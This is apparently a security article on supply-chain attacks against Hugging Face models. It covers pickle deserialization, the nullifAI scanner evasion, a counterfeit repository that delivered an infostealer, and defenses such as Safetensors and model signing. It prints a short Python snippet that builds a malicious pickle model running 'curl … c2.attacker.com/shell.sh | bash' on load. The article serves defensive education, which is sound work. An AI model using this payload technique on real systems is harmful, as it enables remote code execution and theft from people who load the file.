Hugging Face Is the New npm — With the Same Supply Chain Vulnerabilities

February 2025, ReversingLabs researchers discover two malicious models on Hugging Face that bypass the platform’s official scanner by simply changing the compression format. April 2026, a fake OpenAI repository hits the #1 trending spot in eighteen hours and racks up 244,000 downloads before removal. June 2026, the external audit of Safetensors — commissioned jointly by Hugging Face, EleutherAI, and Stability AI — confirms the format is ready to become the industry standard. In the space between those three dates, the AI supply chain learned in eighteen months what the software supply chain took fifteen years to absorb: an open registry without mandatory signing is a systemic attack vector.

The platform now hosts over two million models, serves more than two billion downloads per month, and feeds virtually every AI production deployment, from startups to the Fortune 500. The catch: the implicit trust developers place in a highly-rated model is the exact same trust that let malicious packages thrive on npm and PyPI for years.

Hugging Face — the npm of AI

The parallel is not a stretch. JavaScript developers run npm install; ML engineers run AutoModel.from_pretrained. In both cases, a single command downloads code and data from a public registry, with a trust chain built on reputation and the publisher’s organization name — not on cryptographic verification.

But where npm had a decade to build an ecosystem of signatures, audit tooling, and protected namespaces, Hugging Face has to solve the same problem in months, with a much larger attack surface. A pickle model can execute arbitrary code at load time. No legitimate npm package does that.

The 2026 numbers put the risk in perspective. Pickle-format models still account for roughly 45% of popular models on the Hub, and pickle repositories accumulate 2.1 billion monthly downloads. The secure Safetensors format — which holds only tensors with no execution path — now covers 67% of the catalog, but one third of the artifacts in circulation remain structurally vulnerable.

Pickle — the vulnerability that won’t die

Python’s pickle format was designed for object serialization, not for transferring models between organizations that don’t trust each other. Its __reduce__ method allows any serialized object to trigger arbitrary function execution during deserialization. In practice:

import pickle, os

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ("curl http://c2.attacker.com/shell.sh | bash",))

with open("pytorch_model.bin", "wb") as f:
    f.write(pickle.dumps(MaliciousPayload()))

Loading this file with torch.load() — the most routine call in any ML pipeline — runs the command without a confirmation prompt. PyTorch 2.6 changed the weights_only default from False to True, blocking non-tensor objects, but millions of environments still run older versions.

Hugging Face maintains Picklescan, a tool that disassembles pickle streams and blocks dangerous opcodes (os.system, subprocess.Popen, eval). The approach is structurally limited: thousands of legitimate callables are imported by ML libraries, and the line between “dangerous” and “normal” is blurry. The four CVEs disclosed by Sonatype in 2025 — CVE-2025-1716, CVE-2025-1889, CVE-2025-1944, CVE-2025-1945 — show just how porous a deny-list scanner can be. A pickle file with a non-standard extension, a corrupted magic byte, or an alternative compression format sails right through.

nullifAI — the lesson nobody learned

The nullifAI attack, documented by ReversingLabs in February 2025, is worth rereading. The attackers didn’t try to hide malicious code inside the pickle — they hid the pickle itself.

The mechanism is almost embarrassingly simple: PyTorch stores its models in a ZIP archive containing a pickle stream. Picklescan decompresses the ZIP and scans the stream. The attackers swapped the ZIP container for a 7z archive. Picklescan, which didn’t recognize the 7z header, silently skipped the file. torch.load(), more permissive, happily read the inner pickle stream — and executed the reverse shell sitting inside it.

Hugging Face removed the models in under twenty-four hours and updated Picklescan to recognize 7z archives. But the underlying issue — a disagreement between what the defender sees and what the consumer loads — is a vulnerability class that doesn’t go away with a scanner patch.

The ShadowPickle study (2026 preprint) confirmed the scale: its most effective “Overwritten” variant reaches a 63% evasion rate across ten different scanners. More than half of the malicious models tested pass every single check.

Typosquatting — the counterfeit that kills

In May 2026, a repository called Open-OSS/privacy-filter appears on Hugging Face. It copies the model card of the legitimate openai/privacy-filter verbatim. Within eighteen hours, it hits the #1 trending spot with 244,000 downloads and 667 likes, all artificially inflated.

The loader.py file in the repository never stored its payload locally. It base64-decoded a URL pointing to a JSON document hosted on jsonkeeper.com, fetched the PowerShell command inside the cmd field, and ran it. The final payload was a full infostealer targeting:

• Browser data from Chromium and Gecko-based browsers — cookies, saved passwords, history
• Discord tokens
• Cryptocurrency wallets and seed phrases
• FileZilla configurations and SSH keys

HiddenLayer researchers found six additional repositories under the same account, all uploaded on April 24, 2026, suggesting a coordinated supply chain campaign.

The simplest detection signal is the most overlooked: a three-day-old repository with over 100,000 downloads is not viral success — it’s metric fraud.

Safetensors — the way out, if we adopt it

Two converging defense mechanisms exist, and they complement each other.

The Safetensors format, created by Hugging Face, is a binary container with a JSON header that stores only tensors. There is no execution path at load time — no pickle, no __reduce__, no arbitrary deserialization. The June 2026 external audit, commissioned jointly by Hugging Face, EleutherAI, and Stability AI, confirmed the format is ready to serve as an industry standard. All major models — Llama, Mistral, Falcon, Stable Diffusion — are available in Safetensors.

The OpenSSF Model Signing project, backed by NVIDIA and HiddenLayer, shipped version 1.0 in April 2025. It lets publishers sign their artifacts with Sigstore and consumers verify signatures before loading. A signed Safetensors model provides cryptographic proof that the artifact comes from the organization that claims it — the equivalent of what npm provenance and PyPI trusted publishing bring to their respective ecosystems.

This is the defense stack the CISA and NCSC have been pushing for in their joint guidance on AI supply chain risk: require format-level safety, enforce cryptographic provenance, and treat unsigned models as untrusted.

What to do — and what to stop doing

The AI model registry is now the weakest link in the deployment chain. Here’s what a CISO or ML lead can mandate today, without waiting for a Rust rewrite of the format or sector-wide regulation.

Block pickle format. The simplest and most effective rule: refuse any model in .bin, .pt, or .pth format, and accept only .safetensors or .gguf at the pipeline entry point. If a vendor doesn’t offer a Safetensors version, demand one — or isolate the loading step in a sandboxed VM with no network access.

Verify signatures with OpenSSF Model Signing. Before any load, check that the model is signed by the expected organization. An unsigned model isn’t necessarily malicious, but it has zero provenance — treat it accordingly.

Block trust_remote_code=True. This flag lets a remote repository run arbitrary code on your infrastructure. It should be disabled by default in the runtime configuration, not left to the developer’s discretion.

Maintain an internal registry. Mirror approved models internally. Enforce an allow-list of trusted organizations (openai/, meta-llama/, mistralai/, google/) and refuse artifacts from unverified publishers without explicit security review.

Don’t trust public metrics. Downloads and likes are gameable. The reliable signal is repository age matched against download volume, the presence of signatures, and the publisher organization’s history.

The AI supply chain won’t secure itself. npm took a decade to build a safety net that remains imperfect. Hugging Face doesn’t have a decade — teams deploying models to production today need to apply these controls now, or accept that their inference pipeline will be the next documented intrusion vector.

References

• ReversingLabs — Malicious ML Models Discovered on Hugging Face Platform (February 2025)
• BleepingComputer — Fake OpenAI repository on Hugging Face pushes infostealer malware (May 2026)
• Hive Security — Poisoned AI: How Hugging Face Became a Malware Distribution Platform (2026)
• Safeguard — nullifAI Hugging Face Pickle Attack Analysis (February 2025)
• Sonatype — Picklescan Security Advisories (CVE-2025-1716, CVE-2025-1889, CVE-2025-1944, CVE-2025-1945)
• Groundy — Safetensors vs Pickle: Why Hugging Face Chose It After the Security Audit (June 2026)
• Stingrai — Hugging Face Malicious Models: PickleScan and SafeTensors (2026)
• Safeguard — AI Model Supply Chain Risks: Hugging Face and the New Attack Surface
• Hugging Face — Safetensors Documentation
• The Hacker News — Malicious ML Models on Hugging Face Leverage Broken Pickle Format (February 2025)